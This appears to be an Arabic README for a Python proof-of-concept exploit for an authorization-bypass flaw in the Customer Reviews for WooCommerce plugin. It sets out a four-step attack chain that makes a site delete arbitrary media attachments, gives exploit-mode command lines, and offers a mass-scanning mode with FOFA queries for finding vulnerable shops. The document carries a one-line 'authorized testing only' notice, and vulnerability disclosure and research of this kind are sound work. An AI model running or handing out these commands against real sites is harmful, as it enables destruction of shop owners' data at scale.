CVE-2026-89055 — تجاوز التفويض في إضافة Customer Reviews for WooCommerce (CusRev)

أداة إثبات مفهوم بلغة Python 3 لـ CVE-2026-89055 في إضافة Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).

الوصف (PoCbit / GitHub)

CVE-2026-89055 — إضافة Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 معرّضة لثغرة غياب التفويض في معالج AJAX الخاص بـ نموذج المراجعة المحلي العام (cr_local_forms_submit). أي شخص يمتلك رابط مراجعة العميل (/cusrev/{13-hex formId}/ من بريد ما بعد الطلب) يمكنه الحصول على crSubmitNonce صالح وإرسال مراجعات قد تحتوي مصفوفة items[].media فيها على معرّفات مرفقات عشوائية من مكتبة الوسائط (صور المنتجات، الشعارات، ملفات PDF، إلخ). تُخزَّن هذه المعرّفات في بيانات وصفية لتعليق المراجعة؛ وعند حذف المراجعة نهائيًا (إفراغ سلة المهملات / تنظيف الرسائل المزعجة)، تستدعي الدالة delete_review_media_attachments() الدالة wp_delete_attachment() على كل معرّف مرتبط دون التحقق من الملكية. CVSS 3.1 9.1 حرجة (C:N/I:H/A:H). تم إصلاحها في > 5.120.0.

PoCbit

الفهرس المجتمعي: https://pocbit.org/pocs/

سلسلة الهجوم

1. افتح {site}/cusrev/{formId}/ → اقرأ crSubmitNonce وقيم data-itemid الخاصة بالمنتج.
2. أرسل POST إلى admin-ajax.php: action=cr_local_forms_submit مع items[n][media][]=<victim_attachment_id>.
3. تنشئ الإضافة أو تحدّث البيانات الوصفية لتعليق مراجعة WooCommerce (ivole_reviews_locl_img / video).
4. عند الحذف النهائي لتعليق المراجعة، تحذف الدالة المرتبطة delete_review_media_attachments كل ملف مرفق مرتبط.

تنفّذ هذه الأداة الخطوتين 1–2 على الأهداف المصرّح بها. الخطوة 4 هي حدث دورة حياة للموقع/المسؤول (موثّق في المخرجات باسم chain_note).

المتطلبات

pip install -r requirements.txt

Python 3.8+.

الاستخدام

# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/

# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
  --form-id abc123def4567 --attachment-id 123 \
  --verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg

# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet

المخرجات

FOFA

body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"

قانوني

للاختبار المصرّح به فقط.